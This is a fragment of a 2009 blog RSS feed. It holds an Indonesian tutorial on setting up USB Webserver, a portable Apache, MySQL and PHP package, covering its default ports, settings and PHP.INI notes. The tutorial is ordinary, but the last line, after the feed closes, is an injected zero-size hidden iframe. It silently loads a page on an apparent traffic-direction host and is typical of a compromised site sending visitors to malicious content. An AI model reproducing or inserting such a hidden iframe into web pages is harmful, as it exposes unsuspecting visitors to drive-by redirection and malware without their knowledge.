<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/" rel="bookmark">20. Membuat dan Menambah Komponen</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/07/zero-day-vulnerability-hits-microsoft-directshow/" rel="bookmark">Zero Day Vulnerability Hits Microsoft DirectShow</a></li><li><a href="http://www.dijexi.com/2009/07/how-to-disable-c-sharing-on-windows-operating-system/" rel="bookmark">How to Disable C$ Sharing on Windows Operating System</a></li><li><a href="http://www.dijexi.com/2009/07/microsoft-warns-of-serious-computer-security-hole/" rel="bookmark">Microsoft Warns of Serious Computer Security Hole</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Finstalasi-sql-ledger-di-windows%2F&amp;linkname=Instalasi%20SQL%20Ledger%20di%20Windows"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/instalasi-sql-ledger-di-windows/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Portable Apache, MySQL, PHP</title>
		<link>http://www.dijexi.com/2009/06/portable-apache-mysql-php/</link>
		<comments>http://www.dijexi.com/2009/06/portable-apache-mysql-php/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:12:13 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[apache mysql]]></category>
		<category><![CDATA[apache php]]></category>
		<category><![CDATA[drive usb]]></category>
		<category><![CDATA[port 8080]]></category>
		<category><![CDATA[portable]]></category>
		<category><![CDATA[server smtp]]></category>
		<category><![CDATA[settingan]]></category>
		<category><![CDATA[usb]]></category>
		<category><![CDATA[usb webserver]]></category>
		<category><![CDATA[wamp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/portable-apache-mysql-php/</guid>
		<description><![CDATA[Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB. Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer. Salah [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB.</p>
<p>Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer.</p>
<p>Salah satu yang dapat digunakan adalah USB Webserver (http://www.usberbserver.nl).&#160; Aplikasi ini berisi Apache, PHP, dan MySQL yang telah dikonfigurasi dan siap dijalankan sehingga kita tinggal mengisi aplikasi web yang akan kita demokan ke client.</p>
<p> <span id="more-215"></span>Instalasi USB Webserver cukup mudah, tinggal extract file setupnya aja ke drive USB yang mau dibawah.&#160; Setelah disetup dan diextrak, akan terdapat beberap direktori dibawah direktori utama misalnya E:\UsbWebserver, dimana E: adalah USB drive.
</p>
<p>Direktori yang paling penting adalah D:\UsbWebserver\Root, dimana kita akan menyimpan aplikasi&#160; web yang akan dijalankan.</p>
<p>Setelah dijalankan USB Webserver akan siap melayani akses web server pada port 8080 (dapat diganti melalui Settings Apache). Jadi misalnya aplikasi kita disimpan pada direktori C:\UsbWebserver\Root\demo maka aplikasi tersebut tinggal diakses melalui web browser pada alamat http://127.0.0.1:8080/demo.</p>
<p>Ketika dijalankan, maka terlihat halaman untuk setingan utama USB Webserver yaitu bahasa, hide at start, dan open localhost at start untuk menjalankan browser secara otomatis saat aplikasi dijalankan:</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png"><img class="alignnone size-full wp-image-51" title="usbweb-home" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png" width="450" height="308" /></a></p>
<p>Pada halaman tsb kita dapat mengontrol server MySQL, APache, dan SMTP yaitu dengan menklik tombol-tombol yang terdapat pada bagian atas halaman tsb. Tanda kotak artinya server sedang berjalan, dan untuk mematikannya klik tombol tsb sehingga berubah menjadi tombol segitiga yang artinya server sedang tidak berjalan.</p>
<p>Klik tab Smtp untuk menampilkan settingan server SMTP yaitu host, port, dan email.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/smtp.png"><img class="alignnone size-full wp-image-52" title="smtp" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/smtp.png" width="450" height="249" /></a></p>
<p>Klik tab Apache untuk melihat settingan server Apache, yaitu port webserver yang default nya 8080, dan jenis error yang akan ditampilkan pada log, defaultnya semua error.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/apache.png"><img class="alignnone size-full wp-image-53" title="apache" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/apache.png" width="450" height="249" /></a></p>
<p>Klik pada tab MySQL untuk melihat settingan MySQL yaitu port yang defaultnya&#160; 3307 dan password root MySQL yaitu usbw. APlikasi yang hendak kita jalankan perlu menyesuaikan dengan setting yang didefinisikan disini.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/mysql.png"><img class="alignnone size-full wp-image-54" title="mysql" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/mysql.png" width="450" height="249" /></a></p>
<p>Untuk menyimpan settingan yang sudah ditentukan klik tombol &quot;Opslaan&quot; &#8230; gak tau artinya apa soalnya bhs Belanda, tapi kira-kira kayak OK gitu.. Atau klik tombol &quot;Annuleren&quot; untuk cancel.</p>
<p>Untuk membuka log file, config file, phpmyadmin, dll dapat digunakan tombol segitiga dibagian atas tengah window.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/setting.png"><img class="alignnone size-full wp-image-55" title="setting" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/setting.png" width="450" height="217" /></a></p>
<p>Menu yang muncul dapat digunakan untuk:</p>
<ul>
<li>membuka halaman setting spt diatas, Settings-&gt;Usb Webserver </li>
<li>membuka config file apache httpd.conf, Settings-&gt;Apache </li>
<li>membuka config file PHP.INI, Settings-&gt;PHP </li>
<li>membuka config file phpmyadmin, Settings-&gt;Phpmyadmin </li>
<li>membuka web browser pada alamat default, Localhost </li>
<li>membuka folder root directory, Root Directory </li>
<li>membuka web browser PhpMyAdmin </li>
<li>membuka web browser yang berisi halaman informasi PHP, Php Info </li>
<li>membuka halaman About </li>
<li>dan menutup aplikasi </li>
</ul>
<p><strong>Beberapa Catatan</strong></p>
<ul>
<li>settingan port mysql defaultnya 3307, sehingga aplikasi anda perlu menyesuaikan terutama pada function db_connect mysql, atau ganti settingan ini menjadi default MySQL yaitu 3306. </li>
<li>settingan port apache defaultnya 8080, sehingga pemanggilan aplikasi harus menyertakan nomor port ini, misalnya http://localhost:8080, atau ganti settingan ini menjadi default Apache yaitu 80. </li>
<li>settingan PHP.INI, allow_call_time_pass_reference defaultnya Off, sehingga aplikasi PHP perlu menyesuaikan yaitu tidak bisa mengirimkan parameter function langsung menggunakan variabel tetapi harus menggunakan refference variable tersebut, atau ganti settingan ini menjadi On (tidak direkomendasikan oleh PHP/Zend karena option ini bakalan dimatikan ) </li>
</ul>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fportable-apache-mysql-php%2F&amp;linkname=Portable%20Apache%2C%20MySQL%2C%20PHP"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/portable-apache-mysql-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
